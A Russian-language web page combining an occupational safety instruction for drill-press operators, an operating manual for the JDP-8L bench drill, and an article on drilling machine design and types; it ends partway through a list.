102 просмотров
Рейтинг статьи
1 звезда2 звезды3 звезды4 звезды5 звезд
Загрузка...

Инструкция по эксплуатации сверлильного станка

Инструкция по охране труда при работе на сверлильном станке

Настоящая инструкция по охране труда разработана специально для персонала, выполняющего работы на сверлильном станке.

1. ОБЩИЕ ТРЕБОВАНИЯ ОХРАНЫ ТРУДА

1.1. К самостоятельной работе на сверлильном станке, допускаются лица не моложе 18-летнего возраста, годные по состоянию здоровья и прошедшие:
— вводный инструктаж;
— вводный инструктаж по пожарной безопасности;
— первичный инструктаж по охране труда на рабочем месте;
— обучение безопасным методам и приемам труда;
— проверку знаний требований охраны труда;
— обучение и проверку знаний по электробезопасности на соответствующую группу, в качестве оперативно–ремонтного персонала при выполнении работ, связанных с эксплуатацией электрооборудования;
— обучение по пожарно–техническому минимуму.
1.2. Работники вправе выполнять только ту работу, которая им поручена и которая соответствует их специальности. В необходимых случаях (незнакомая работа, незнание безопасных приемов труда и т.п.) работники должны получить у руководителя работ объяснения и показ безопасных приемов и методов труда.
1.3. При работе совместно с другими работниками следует согласовывать свои действия, следить, чтобы они не привели к чьей-нибудь травме.
1.4. Во время работы работники не должны отвлекаться сами и отвлекать от работы других работников.
1.5. Работники не должны включать или останавливать (кроме аварийных случаев) машины, станки и механизмы, работа на которых им не поручена.
1.6. Работники обязаны соблюдать требования Правил внутреннего трудового распорядка дня. Употребление алкогольных напитков на предприятии и появление на работе в нетрезвом виде запрещено. Курить следует только в специально отведенных местах.
1.7. Не разрешается загромождать подходы к щитам с противопожарным инвентарем и к пожарным кранам. Использование противопожарного инвентаря не по назначению не допускается.
1.8. Основными опасными и вредными производственными факторами могут быть:
— электрический ток;
— движущиеся и вращающиеся детали станка;
— мелкая стружка, отлетающие куски металла и аэрозоли смазочно-охлаждающей жидкости;
— высокая температура поверхности обрабатываемых деталей и изделий;
— промышленная пыль;
— производственный шум;
— острые кромки и шероховатости материалов и инструмента;
— повышенная вибрация;
— недостаточная освещенность рабочей зоны, наличие прямой и отраженной блескости, повышенная пульсация светового потока.
1.9. На основании действующего на предприятии, утвержденного перечня выдачи средств индивидуальной защиты (далее – СИЗ) работникам бесплатно выдаются установленные СИЗ.
1.10. О каждом несчастном случае или аварии работники обязаны немедленно известить своего непосредственного руководителя.
1.11. Требования настоящей инструкции являются обязательными. Невыполнение этих требований работниками рассматривается как нарушение трудовой и производственной дисциплины.
1.12. Контроль за выполнением мероприятий, изложенных в настоящей инструкции, а также соблюдением требований охраны труда, промышленной безопасности, электробезопасности, пожарной безопасности и производственной санитарии, работниками осуществляет непосредственный руководитель.

2. ТРЕБОВАНИЯ ОХРАНЫ ТРУДА ПЕРЕД НАЧАЛОМ РАБОТЫ

2.1. Надеть спецодежду, спецобувь и другие средства индивидуальной защиты. Застегнуть спецодежду на все пуговицы, не допуская свисающих концов одежды, убрать волосы под головной убор. Проверить отсутствие в одежде острых, колющих и режущих предметов.
2.2. После получения задания у руководителя работники обязаны проверить исправность и наличие инструмента и приспособлений, средств пожаротушения, систем общеобменной вентиляции, освещение рабочего места.
2.3. Персонал, работающий на сверлильном станке должен убедиться в исправности станка, всего инструмента и оборудования, надеть положенную по нормам спецодежду и спецобувь. Одежду следует заправить так, чтобы не было свободно свисающих концов, застегнуть манжеты.
2.4. Проверить работу станка на холостом ходу:
— исправность органов управления (механизмов главного движения подачи, пуска, остановку движения);
— исправность системы смазки и охлаждения.
2.5. Отрегулировать местное освещение так, чтобы рабочая зона была достаточно освещена, и свет не слепил глаза.
2.6. Персоналу, выполняющему работу на сверлильном станке запрещается:
— работать при отсутствии на полу под ногами деревянной решетки по длине станка, исключающей попадание обуви между рейками и обеспечивающей свободное прохождение стружки;
— работать на станке с оборванным заземляющим проводом, а также при отсутствии или неисправности блокировочных устройств;
— стоять и проходить под поднятым грузом;
— проходить в местах, не предназначенных для прохода людей;
— заходить без разрешения за ограждения технологического оборудования;
— снимать ограждения опасных зон работающего оборудования;
— мыть руки в эмульсии, масле, керосине и вытирать их обтирочными концами, загрязненными стружкой.
— работать в тапочках, сандалиях, босоножках и т.п.;
— применять неисправный и неправильно заточенный инструмент и приспособления;
— прикасаться к токоведущим частям электрооборудования, открывать дверцы электрошкафов.
2.7. Обо всех обнаруженных неисправностях работники извещают непосредственного руководителя. Начало работы в этом случае допускается после устранения неисправностей и только после получения разрешения от непосредственного руководителя.

3. ТРЕБОВАНИЯ ОХРАНЫ ТРУДА ВО ВРЕМЯ РАБОТЫ

3.1. Во время работы персонал, выполняющий работу на сверлильном станке, обязан:
— надежно и правильно закрепить обрабатываемую деталь, чтобы была исключена возможность ее вылета;
— обрабатываемые детали, тиски и приспособления прочно и надежно закреплять на столе или фундаментной плите;
— установку и снятие тяжелых деталей и приспособлений производить только с помощью грузоподъемных средств;
— правильно отцентрировать и надежно закрепить режущий инструмент;
— режущий инструмент подводить к обрабатываемой детали плавно, без удара;
— при ручной подаче сверла и при сверлении на проход или мелкими сверлами не нажимать сильно на рычаг;
— при смене сверла или патрона пользоваться деревянной выколоткой;
— при сверлении отверстий в вязких металлах применять спиральные сверла со стружкодробящими канавками;
— удалять стружку с обрабатываемой детали и стола только тогда, когда инструмент остановлен;
— не допускать уборщицу к уборке станка во время его работы;
— при сверлении хрупких металлов, если нет на станке защитных устройств от стружки, надеть защитные очки или предохранительный щиток из прозрачного материала;
— в случае заедания инструмента, поломки хвостовика сверла, метчика или другого инструмента выключить станок;
— для удаления стружки от станка использовать специальные крючки и щетки-сметки.
— запрещается удалять стружку непосредственно руками и инструментами;
— при возникновении вибрации остановить станок. Проверить крепление сверла, принять меры к устранению вибрации;
— перед остановом станка обязательно отвести инструмент от обрабатываемой детали;
— остановить станок и выключить электрооборудование в следующих случаях:
— уходя от станка даже на короткое время;
— при временном прекращении работы;
— при перерыве в подаче электроэнергии;
— при уборке, смазке, чистке станка;
— при обнаружении какой-либо неисправности;
— при подтягивании болтов, гаек и других крепежных деталей.
3.2. Во время работы на станке сверловщику запрещается:
— применять патроны и приспособления с выступающими стопорными винтами и болтами;
— удерживать и поправлять просверливаемую деталь руками;
— крепить деталь, приспособление или инструмент на ходу станка;
— тормозить вращение шпинделя руками;
— пользоваться местным освещением напряжением выше 42 В;
— подтягивать гайки, болты и другие, соединительные предметы при работающем станке;
— охлаждать инструмент с помощью тряпок и концов;
— использовать станину станка для укладки каких-либо предметов и инструмента;
— производить керновку детали на столе станка;
— брать и подавать через станок какие-либо предметы во время работы станка;
— применять прокладки между зевом ключа и гранями гаек;
— пользоваться инструментом с изношенными конусными хвостовиками;
— работать на станке в рукавицах или перчатках, а также с забинтованными пальцами без резиновых напальчников;
— обдувать сжатым воздухом из шланга обрабатываемую деталь;
— при установке детали на станок грузоподъемным краном находиться между деталью и станком;
— опираться на станок во время его работы и позволять это делать другим;
— во время работы наклонять голову близко к шпинделю и режущему инструменту;
— оставлять ключи, приспособления и другой инструмент на работающем станке.
3.3. Во время работы не наклоняться близко к режущему инструменту.
3.4. Устанавливать обрабатываемый предмет правильно и надежно, чтобы исключить возможность нарушения его крепления или других нарушений технологического процесса во время сверления.
3.5. Сверлильный, зенкерующий и развертывающий инструмент необходимо точно отцентрировать в станке по оси шпинделя и плотно установить в патроне.
3.6. Сверла следует применять только с правильной заточкой. При сверлении отверстий в деталях из вязкого металла (например: медь, алюминий и пр.) необходимо применять сверла со стружколомающими канавками.
3.7. Установку инструмента следует производить при полной остановке станка.
3.8. При установке в шпиндель сверла или развертки с конусным хвостовиком следует остерегаться пореза рук о режущую кромку инструмента.
3.9. Не допускается пользоваться инструментом с изношенным конусным хвостовиком.
3.10. Удерживать просверливаемую деталь руками запрещается.
3.11. Запрещается производить сверление тонких пластин, полос без их крепления в специальных приспособлениях. При проворачивании изделия на столе вместе со сверлом, не допускается придерживать его рукой, а следует остановить вращение инструмента, сделать нужное исправление или взять соответствующее приспособление.
3.12. При смене патрона или сверла (хвостовик – конус Морзе) необходимо пользоваться деревянной выколоткой.
3.13. В случае заедания инструмента, поломки хвостовика сверла, метчика или другого инструмента, следует выключить станок.
3.14. При ослаблении крепления патрона сверла и детали следует остановить вращение инструмента.
3.15. При сверлении глубоких отверстий следует периодически выводить сверло из отверстия для удаления стружки.
3.16. Не допускается работать в перчатках, рукавицах и при забинтованных пальцах (кистей рук).
3.17. При ручной подаче сверла и при сверлении на проход или легкими сверлами не допускается сильно нажимать на режущий инструмент.
3.18. Режущий инструмент необходимо подводить к обрабатываемой детали плавно, постепенно без ударов.
3.19. Перед остановкой вращения инструмента следует отвести инструмент от обрабатываемой детали.
3.20. При возникновении вибрации остановить вращение инструмента. Принять меры к устранению вибрации: проверить крепление сверла и детали.
3.21. Остановить процесс сверления при:
— временном прекращении работы;
— перерыве в подаче электроэнергии;
— уборке, смазке и чистке рабочего места и оборудования;
— установке, измерении и съеме детали;
— проверке или зачистке режущей кромки сверла;
— технологическом обслуживании оборудования и приспособлений.

4. ТРЕБОВАНИЯ ОХРАНЫ ТРУДА В АВАРИЙНЫХ СИТУАЦИЯХ

4.1. В случае появления задымления или возгорания немедленно прекратить работу, отключить электрооборудование, вызвать пожарную охрану, сообщить непосредственному руководителю и администрации организации, принять меры к эвакуации из помещения. При ликвидации загорания необходимо использовать первичные средства пожаротушения, принять участие в эвакуации людей. При загорании электрооборудования применять только углекислотные огнетушители или порошковые.
4.2. В случае получения травмы работник обязан прекратить работу, поставить в известность непосредственного руководителя и вызвать скорую медицинскую помощь или обратиться в медицинское учреждение.
4.3. Если на металлических частях оборудования обнаружено напряжение (ощущение тока), оборудование гудит, в случае появления вибраций или повышенного уровня шума, при резком нагревании и плавлении корпуса, искрении электрооборудования, обрыве питающего кабеля, необходимо остановить работу оборудования, доложить о случившемся непосредственному руководителю. Без указаний руководителя к работе приступать запрещено.
4.4. При поражении электрическим током необходимо освободить пострадавшего от действия тока путем немедленного отключения электроустановки рубильником или выключателем. Если отключить электроустановку достаточно быстро нельзя, необходимо пострадавшего освободить с помощью диэлектрических перчаток или сухого деревянного предмета, при этом необходимо следить и за тем, чтобы самому не оказаться под напряжением. После освобождения пострадавшего от действия тока необходимо оценить его состояние, вызвать скорую медицинскую помощь и до прибытия врача оказывать первую доврачебную помощь.

5. ТРЕБОВАНИЯ ОХРАНЫ ТРУДА ПО ОКОНЧАНИИ РАБОТЫ

5.1. По окончании работы на сверлильных станках персонал обязан:
— отключить питание оборудование, привести в порядок рабочее место, очистить проходы, эвакуационные выходы;
— привести в порядок рабочее место, собрать инструмент и убрать его в отведенные для хранения места;
— убедиться в отсутствии очагов загорания, при их наличии засыпать песком;
— обо всех нарушениях требований безопасности, имевших место в процессе выполнения работы, сообщить непосредственному руководителю
— покинуть территорию.

Инструкция по эксплуатации сверлильный станок JDP-8L

ИНСТРУКЦИЯ ПО ЭКСПЛУАТАЦИИ

ВМХ Тул Груп АГ (WMH Tool Group AG)

Банштрассе 24, CH-8603 Шверценбах

1. ОБЩИЕ УКАЗАНИЯ

Станок предназначен для сверления отверстий в металлических изделиях и подобных материалах, а также твердых полимерных материалах и древесине.

Обработка других материалов недопустима, или может производиться только после консультации с представителями компании.

Наряду с указаниями по технике безопасности, содержащимися в инструкции по эксплуатации, и особыми предписаниями Вашей страны необходимо принимать во внимание общепринятые технические правила работы на сверлильных станках.

Каждое отклонение от этих правил при использовании рассматривается как неправильное применение и продавец не несет ответственность за повреждения, произошедшие в результате этого.

В станке нельзя производить никаких технических изменений. Ответственность несет только пользователь.

Использовать станок только в технически исправном состоянии. Станок разрешается эксплуатировать лицам, которые ознакомлены с его работой, техническим обслуживанием и предупреждены о возможных опасностях.

Если Вы при распаковке обнаружили повреждения вследствие транспортировки, немедленно сообщите об этом Вашему продавцу.

Не запускайте станок в работу!

2. ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ JDP-8L

Потребляемая мощность. Вт

Рабочий ток. 1,5 A

Соединительный провод (H07RN-F)

Расстояние от стойки до центра сверла

Ход шпинделя. мм

Посадка шпинделя. B 16

Патрон с зубчатым венцом. мм

Размеры стола. x 160 мм

Диапазон поворота стола. +/- 45°

Макс. расстояние от шпинделя до стола

Расстояние от шпинделя до стойки

. 5 скоростей ( об/мин)

Габаритные размеры (ДхШхВ)

3. КОМПЛЕКТ ПОСТАВКИ

1. Сверлильная голова в сборе

2. Стол для заготовки

4. Цоколь стойки

5. 13 мм патрон с ключом

6. Рукоятка подачи сверлильного патрона – 3 шт.

7. Тиски 60х60 мм

8. Инструмент для обслуживания

9. Принадлежности для монтажа

10. Инструкция по эксплуатации

11. Список запчастей

4. УКАЗАНИЯ ПО ТЕХНИКЕ БЕЗОПАСНОСТИ

Техника безопасности включает в себя также соблюдение инструкции по эксплуатации и техническому обслуживанию, предоставленные изготовителем.

Всегда храните инструкцию, предохраняя ее от грязи и влажности, передавайте дальнейшим пользователям.

Ежедневно перед включением станка проверяйте функционирование необходимых защитных устройств.

Установленные дефекты станка или защитных устройств необходимо незамедлительно устранить с помощью уполномоченных для этого специалистов.

Не включайте в таких случаях станок, выключите его из эл. сети.

Следите за тем, чтобы станок был надежно закреплен на ровной поверхности.

Обеспечьте хорошее освещение.

Применяйте необходимые согласно предписаниям средства личной защиты.

Надевайте плотно прилегающую одежду, снимайте украшения, кольца и наручные часы.

Если у Вас длинные волосы, надевайте защитную сетку для волос или головной убор.

Для работы не надевайте перчаток.

Устанавливайте станок таким образом, чтобы оставалось достаточно места для обслуживания станка и для расположения заготовок.

Не допускайте к станку посторонних, особенно детей.

Перед началом работы проверьте надежность закрепления сверлильной головки и сверлильного стола.

Перед началом работы снимите с машины ключ патрона и другие инструменты.

Перед работой удалите из заготовки гвозди и других посторонние предметы.

Не применяйте проволочные щетки, фрезы, круглопильные инструменты и шлифовальные диски.

Никогда не используйте станок, если возникли проблемы с выключателем.

Никогда не работайте с открытым защитным устройством патрона или открытым защитным устройством ремня.

Во время работы станка не производите никаких перестановок сверлильной головки и сверлильного стола.

Держите руки на достаточном расстоянии от движущихся частей станка, принимайте во внимание, что Ваши руки или заготовка могут соскользнуть.

Никогда не держите заготовку в руках, без опоры о стол, кроме полировальных работ.

Сверлите заготовку только в том случае, если она надежно располагается на рабочем столе.

Надежно закрепляйте заготовку от захвата движущимися частями. Применяйте зажимные устройства, струбцины, тиски и т. д., чтобы зафиксировать заготовку. Никогда не удерживайте заготовку просто руками.

По возможности используйте стойку в качестве опоры заготовки от проворачивания. Если центр тяжести заготовки находится за пределами стола, закрепите ту ее часть, которая находится на столе, или зафиксируйте ее с помощью роликовой подставки.

Если заготовка слишком коротка, или если стол находится под наклоном, закрепляйте заготовку на столе. Используйте для этого пазы стола или установленные сверху тиски.

Тиски всегда плотно прикручивайте к столу.

Работайте только хорошо заточенными принадлежностями.

Никогда не хватайтесь за движущиеся части станка.

Стружку и части заготовок удаляйте только при выключенном станке.

Держите рабочее место свободным от посторонних предметов.

Не оставляйте без присмотра включенный станок. Всегда выключайте его, прежде чем покинете рабочее место.

Не используйте станок вблизи горючих жидкостей или газов. Следите за соблюдением мер по противопожарной безопасности, например наличие огнетушителя на рабочем месте.

Не используйте станок во влажных помещениях, не оставляйте его под дождем.

Работы по электрике станка должны выполняться только электрики.

Следите за тем, чтобы электропроводка не препятствовала рабочему процессу и, через нее нельзя было споткнуться.

Удлинительный кабель всегда отматывайте от барабана полностью.

Немедленно заменяйте поврежденный сетевой кабель.

Все работы по установке, монтажу, чистке должны производиться только после выключения станка из эл. сети.

4.1. Внимание опасности

Даже при правильном использовании станка возникают приведенные ниже опасности.

Опасность ранения вращающимся сверлом.

Опасность ранения отлетевшими частями заготовок.

Опасность от шума и пыли. Обязательно надевайте средства личной защиты (защита глаз, ушей и дыхательных путей).

Опасность удара током, при несоответствующей прокладке кабеля.

Шумовой порог ( по EN 11202):

холостой ход – 69,6 дБ(A).

Указанные величины являются порогом эмиссии, но не являются порогом для безопасной работы.

Они должны дать возможность пользователю самому оценить опасности и риски.

A. защитная крышка ремня

B. крепление площадки мотора

C. рукоятка подачи сверлильного патрона

D. зажимная ручка высоты стола

F. цоколь станка

G. выключатель двигателя

H. сверлильный патрон

I. защита сверлильного патрона

J. Стол для заготовки

6. ТРАНСПОРТИРОВКА И ПУСК В ЭКСПЛУАТАЦИЮ

6.1. Транспортировка и установка

Станок разработан для эксплуатации в закрытых помещениях и должен прочно размещаться на твердой и ровной поверхности. Если необходимо, станок можно прикрутить.

Для удобства упаковки станок собран не полностью.

Перед проведением монтажно-наладочных работ отключите станок от эл. сети! Удалите защитную смазку от ржавчины с помощью мягких растворителей.

Установите станок на плоскую поверхность.

Установите стойку (B, Рис. 1) на цоколь станка (F).

3 шестигранных винта (D) хорошо затяните.

Монтаж стола для заготовки

Монтируйте стол для заготовки (J) к стойке и плотно закрепите его.

Установите сверлильную головку на стойку.

Разместите сверлильную головку параллельно к цоколю станка.

Плотно затяните боковые резьбовые штифты.

Монтаж рукояток подачи сверлильного патрона

Установите 3 рукоятки подачи (С) во втулки.

Монтаж защиты сверлильного патрона

Установите защиту патрона (I, Рис. 2) на сверлильную пиноль (К), прежде чем монтировать патрон.

Плотно затяните зажимной винт (L).

Закрепите сверлильный стол под головкой шпинделя на расстоянии 120 мм.

Положите кусок ненужного дерева на стол для заготовки.

С помощью тряпки очистите конус шпинделя и конус патрона.

Эти поверхности должны быть очищены от жира и масла, иначе патрон может снова упасть.

Наденьте патрон (Н, Рис. 1) на конус шпинделя.

Откройте сверлильный патрон на максимальный размер сверла.

Опустите патрон до заготовки вниз. Правильно проведенная подача сверла надежно закрепляет патрон на шпинделе.

6.3. Подключение к сети

Сетевое подключение и применяемые удлинители должны соответствовать нормам.

Напряжение сети и частота должны совпадать с данными на типовой табличке станка.

Предохранитель сети должен составлять 10 A.

Подключение и ремонт должны проводить только специалисты-электрики.

6.4. Ввод в эксплуатацию

Установите высоту стола и упор ограничения глубины таким образом, чтобы Вы не сверлили в стол для заготовки.

Ненужный кусок дерева в качестве опоры защищает как сверло, так и стол для заготовки.

Закрепляйте заготовку от захвата сверлом. Прикрепляйте заготовку к столу или устанавливайте струбцину.

Струбцину всегда прикручивайте к столу.

Держите руки на достаточном расстоянии от движущихся частей станка, принимайте во внимание, что Ваши руки или заготовка могут соскользнуть.

Выбирайте силу подачи таким образом, чтобы сверло двигалось быстро.

Слишком медленное вращение шпинделя ведет к преждевременному износу сверла и прожогам заготовки, слишком быстрое вращение может привести к заклиниванию мотора или излому сверла.

Стружку и части заготовок удаляйте только при выключенном станке.

Всегда соблюдайте правила по техники безопасности и указания инструкции.

Не применяйте проволочные щетки, фрезы, круглопильные инструменты и шлифовальные диски на этом станке.

Никогда не работайте с открытым защитным устройством патрона или открытым защитным устройством ремня.

Никогда не обрабатывайте магний — высокая опасность возгорания!

Рекомендованная частота вращения для сверла из быстрорежущей стали 10 мм

Древесина: 2000 об/мин

Пластмасса: 1500 об/мин

Алюминий: 1500 об/мин

Медь: 1500 об/мин

Чугун: 1000 об/мин

Сталь (С15): 800 об/мин

Сталь (С45): 600 об/мин

Нержавеющая сталь: 300 об/мин

Чем меньше диаметр сверла, тем выше число оборотов.

Металл сверлится при низких оборотах, при необходимости используется масло для сверления.

7.1. Изменение числа оборотов

Отсоедините сетевой штекер из розетки!

Открутите предохранительный винт и откройте крышку защитного кожуха ремня.

Табличка расположения ремня на шкивах и числа оборотов находится на внутренней стороне крышки защитного кожуха ремня. Ориентируйтесь по ней каждый раз при изменении числа оборотов.

Проведите изменение числа оборотов

Открутите крепление площадки мотора (В, Рис. 1).

Переставьте ремень в соответствии с необходимым числом оборотов.

Натяните ремень и зафиксируйте крепление мотора.

Необходимое натяжение ремня достигнуто, если при нажатии большим пальцем середина ремня прогибается примерно на 15 мм.

Закройте крышку кожуха ремня и закрепите с помощью винта.

Никогда не работайте с открытым защитным прозрачным кожухом патрона или открытым защитным кожухом ремня.

7.2. Замена сверлильного патрона

Отсоедините сетевой штекер из розетки!

Установите 2 клина (например, 2 большие отвертки) друг против друга между шпинделем и патроном.

Нажимайте одновременно с двух сторон на рычаги, пока патрон не упадет.

7.3. Установка упора ограничения глубины сверления

Для сверления большого количества отверстий одинаковой глубины применяйте упор ограничения глубины.

Опустите шпиндель с установленным сверлом на желаемую глубину сверления.

Установите установочную гайку упора глубины на кулачок упора.

Сверло будет останавливаться на этой высоте.

7.4. Установка стола для заготовки

Никогда не проводите установку на включенном станке.

Ослабьте шестигранный винт (К, рис. 3), чтобы повернуть стол.

Лишь слегка ослабьте шестигранный винт, иначе вся поверхность стола может упасть вниз.

Снова затяните шестигранный винт.

7.5. Установка защиты сверлильного патрона

Никогда не проводите установку на включенном станке.

После ослабления винта (L, Рис. 4) прозрачную защиту (М) патрона можно опустить вниз.

Никогда не работайте с открытым прозрачным защитным кожухом патрона или открытым защитным кожухом ремня.

Защиту патрона можно поднять вверх для замены сверла.

8. ТЕХНИЧЕСКОЕ ОБСЛУЖИВАНИЕ

Перед проведением работ по техническому обслуживанию, чистке и ремонту отключите станок от эл. сети!

Подключение и ремонт электрооборудования должны проводиться только специалистами-электриками.

Затем снова установите все защитные устройства.

Поврежденные защитные устройства немедленно заменяйте.

Регулярно смазывайте небольшим количеством смазки:

направляющие стола и стойки

приводной вал шпинделя

зубчатое сцепление шпинделя и пиноли

Регулярно чистите станок.

9. УСТРАНЕНИЕ НЕИСПРАВНОСТЕЙ

мотор не включается

*нет тока – проверьте предохранитель сети;

*мотор, выключатель или кабель дефектны – обратиться в сервис;

*грязь или жир на конусе патрона – поверхности прилегания шпинделя и патрона должны быть свободны от жира;

*неправильное натяжение ремня – проконтролируйте натяжение ремня;

*шкив ремня мотора ослаблен – плотно затяните резьбовой штифт;

*затруднено движение пиноли шпинделя – смажьте пиноль шпинделя;

*шкив шпиндельного ремня ослаблен – плотно затяните гайку шпинделя;

*сверло затупилось – заточите сверло;

*неправильно выбрано число оборотов – снизить число оборотов;

*сверло засорилось стружкой – чаще проворачивайте сверло в обратную сторону;

*подача сверла слишком мала – увеличьте подачу;

сверлильное отверстие некруглое

*сверло отшлифовано асимметрично – правильно заточите сверло;

*сверлильное отверстие смещено – используйте центрирующее сверло;

*сверло погнуто – используйте новое сверло;

*сверло неправильно закреплено – правильно закрепите сверло;

Устройство и особенности эксплуатации сверлильных станков

Сверлильный станок – это устройство, служащее для формирования отверстий в деталях из различных материалов. Технические возможности современных станков данной категории позволяют использовать их не только для создания отверстий, диаметр которых доходит до 100 мм, но и для выполнения целого перечня других технологических операций.

Рассмотрим конструкцию на примере бытового сверлильного станка.

Бытовая модель – это, как правило, настольный сверлильный станок, который отличается компактными габаритами и устанавливается на поверхности верстака или на любом другом возвышении, которое обеспечивает удобство его использования. В подавляющем большинстве случаев это вертикально-сверлильный станок, устройство которого является наиболее типичным для оборудования подобного назначения.

Базовыми элементами сверлильного станка выступают:

· шпиндельная бабка, в которой монтируется рабочий патрон, служащий для фиксации режущего инструмента;

· сверлильная головка, конструкция которой включает в себя шпиндельную бабку, приводной электрический двигатель и ременную передачу;

· несущая стойка-колонна, на которой монтируется сверлильная головка оборудования;

· массивная опорная плита, изготовленная методом литья из стали или чугуна (она выполняет две функции: служит надежным основанием для станка и используется для закрепления вертикальной стойки оборудования).

Технологические операции, для которых предназначен вертикальный сверлильный станок, выполняются за счет двух движений шпинделя: основного и вспомогательного. Первое движение – это вращение шпиндельного узла, а второе – его перемещение в вертикальном направлении. Свое название вертикально-сверлильный станок как раз и получил за то, что его шпиндель совершает движение подачи в вертикальном направлении. За выполнение такого движения отвечает специальная ручка-штурвал, расположенная на боковой части корпуса аппарата.

Шпиндельный узел как производственного, так и бытового сверлильного станка приводится в действие посредством электродвигателя, сообщающего крутящий момент валу ременной передачи. Сверлильные станки, предназначенные для бытового использования, оснащаются электродвигателями, мощность которых составляет 250–1000 Вт.

На многих моделях бытовых станков сверлильной группы скорость вращения режущего инструмента можно регулировать, что обеспечивается за счет использования в их конструкции валов ременной передачи разного диаметра. Принцип регулирования скорости вращения шпинделя на таких станках достаточно прост: при выключенном приводном электродвигателе ремень просто перекидывается в канавку той части шкива, которая имеет другой диаметр. По такому принципу скорость вращения шпинделя можно регулировать в диапазоне 450–3000 об/мин.

На станках для бытового использования обычно устанавливаются сверлильные патроны, идентичные зажимным устройствам ручных электродрелей. Такие патроны с 3 самоцентрирующимися кулачками рассчитаны на фиксацию сверл, диаметр которых доходит до 12 мм. Для работы с этим патроном необходим специальный ключ, при помощи которого осуществляется зажим или ослабление фиксирующих кулачков.

Технические возможности сверлильных станков бытового назначения позволяют обрабатывать детали, высота которых находится в интервале 200–900 мм. Данный параметр зависит от того, на какую высоту сверлильная головка может подниматься на стойке оборудования. Принцип перемещения сверлильной головки по колонне станка у различных моделей может варьироваться. На самых простых и легких устройствах рабочая головка перемещается на требуемую высоту вручную, а на более крупном и тяжелом оборудовании для этого предусмотрена специальная рукоятка-штурвал, которая соединена с приводным механизмом.

Для фиксации сверлильной головки в требуемом положении и для ее установки на необходимой высоте перед началом обработки используется специальная рукоятка. Регулировать и фиксировать положение рабочей головки перед началом сверления необходимо потому, что величина вылета патрона из шпиндельного узла достаточно невелика и составляет в зависимости от модели агрегата 50–400 мм.

Важным параметром, по которому оценивают любой сверлильный станок, является вылет сверла. Этот параметр, который у разных моделей бытовых станков может находиться в интервале 100–200 мм, характеризует расстояние от оси вращения режущего инструмента до оси стойки-колонны (от него зависит то, на каком расстоянии от края детали можно просверлить отверстие).

Основным требованием к плите-основанию сверлильного станка, которая должна обеспечивать его устойчивое положение на любой горизонтальной поверхности, является ее массивность и габариты, достаточные для того, чтобы уравновешивать массу остальных конструктивных элементов оборудования.

Назначение верхней части такой плиты – служить рабочим столом, поэтому ее делают максимально ровной с несколькими пазами. Центральный из этих пазов используется при сверлении сквозных отверстий и необходим для того, чтобы в процессе выполнения такой технологической операции избежать повреждений сверла и поверхности рабочего стола. Остальные пазы на поверхности рабочего стола нужны для закрепления различных зажимных приспособлений.

Вертикальное перемещение сверла, закрепленного в патроне, осуществляется за счет рычажного механизма, приводимого в действие специальной рукояткой. Такая рукоятка, расположенная на боковой поверхности корпуса станка, специально подпружинивается, что обеспечивает ее автоматический возврат в исходное состояние после того, как воздействие на нее прекращается.

Электродвигатель на бытовых моделях питается преимущественно от электрической сети с напряжением 220 В. Он запускается и останавливается при помощи кнопочной станции. На отдельных моделях бытовых сверлильных станков, технические возможности которых позволяют нарезать внутреннюю резьбу, предусмотрен реверсивный запуск электродвигателя.

Производственные сверлильные станки представляют собой значительно более сложные устройства, чем бытовые модели. Большая часть моделей таких станков – это универсальное оборудование, позволяющее выполнять не только сверление по металлу и прочим материалам, но и ряд других технологических операций.

К производственным сверлильным станкам относятся устройства следующих категорий:

Станки настольного типа. Такие станки отличаются небольшими размерами и незначительным весом. Их применяют для сверления отверстий, имеющих небольшой диаметр.

Вертикально-сверлильные (колонные) станки. Эти станки используют для оснащения мелкосерийных и единичных производств. С их помощью можно получать в заготовках из металла отверстия, диаметр которых находится в интервале 18–75 мм.

Радиально-сверлильные аппараты. Данное оборудование служит для обработки массивных деталей из металла или заготовок, в которых необходимо сформировать отверстия с центрами, расположенными по дуге окружности. Устройство сверлильного станка этой категории характеризует достаточно большой вылет шпиндельного узла, величина которого может доходить до 1300–2000 мм.

Координатно-сверлильные устройства.Использование таких станков актуально в тех случаях, когда предъявляются высокие требования к точности расположения нескольких отверстий в детали.

Горизонтально-сверлильные аппараты.На этих устройствах обрабатывают отверстия, отличающиеся значительной глубиной (валы, оси, штоки и др.).

Центровальные станки.Такое оборудование используется для формирования центровых отверстий, расположенных на торцах обрабатываемых деталей.

Многошпиндельные станки.На агрегатах, оснащенных несколькими шпиндельными головками, может одновременно выполняться обработка множества отверстий, расположенных в вертикальной, горизонтальной и наклонной плоскостях.

Комбинированные станки.На устройствах сверлильно-фрезерной, сверлильно-токарной, сверлильно-долбежной и ряда других категорий могут одновременно выполняться различные технологические операции.

Наиболее распространенными считаются станки вертикально- и горизонтально-сверлильной группы. Многие современные модели сверлильных станков оснащают системами числового программного управления, что позволяет серьезно повысить производительность такого оборудования и обеспечить высокую точность обработки. Станки с такой системой управления используют преимущественно для оснащения серийных и крупносерийных производственных предприятий.

Среди специального сверлильного оборудования следует упомянуть магнитные станки, которые применяются для получения отверстий в крупногабаритных деталях. Такие устройства, оснащенные специальным магнитным основанием, размещаются непосредственно на поверхности обрабатываемой детали и надежно удерживаются на ней за счет мощного магнитного поля. Большим преимуществом станков данной категории является то, что их можно располагать в любом пространственном положении.

Подача режущего инструмента напромышленном сверлильном оборудовании может выполняться не только вручную, но и в автоматическом режиме. Практически на любом из таких станков предусмотрена возможность регулирования скорости вращения шпиндельного узла и величины подачи, за что отвечают коробка скоростей и коробка подач соответственно.

Настольные сверлильные станки профессионального класса отличаются от бытовых моделей высокоточными комплектующими, начиная от опорных подшипников и заканчивая патроном

Поскольку такие станки используются более интенсивно и для решения ответственных задач, их кинематическая схема отличается более сложным и надежным исполнением. Во многих из современных моделей данных аппаратов предусмотрена опция автоматического реверсирования направления подачи и вращения режущего инструмента в тот момент, когда он достигает требуемой глубины обработки.

Шпиндельный узел большинства моделей такого оборудования оснащен механизмом автоматического подвода к поверхности обрабатываемой детали. Практически обязательной опцией для данных станков является автоматическая подача охлаждающей жидкости в зону обработки в тот момент, когда такая обработка начинается.

В последнее время промышленные предприятия активно оснащаются сверлильными станками, работой которых управляет система ЧПУ. Преимуществом использования такого оборудования является то, что в них автоматизированы основные и вспомогательные технологические операции, что позволяет значительно повысить их производительность по сравнению с моделями, управляемыми вручную.

Промышленные станки сверлильной группы, как уже говорилось выше, способны выполнять различные технологические операции:

· обработку отверстий с использованием зенкера;

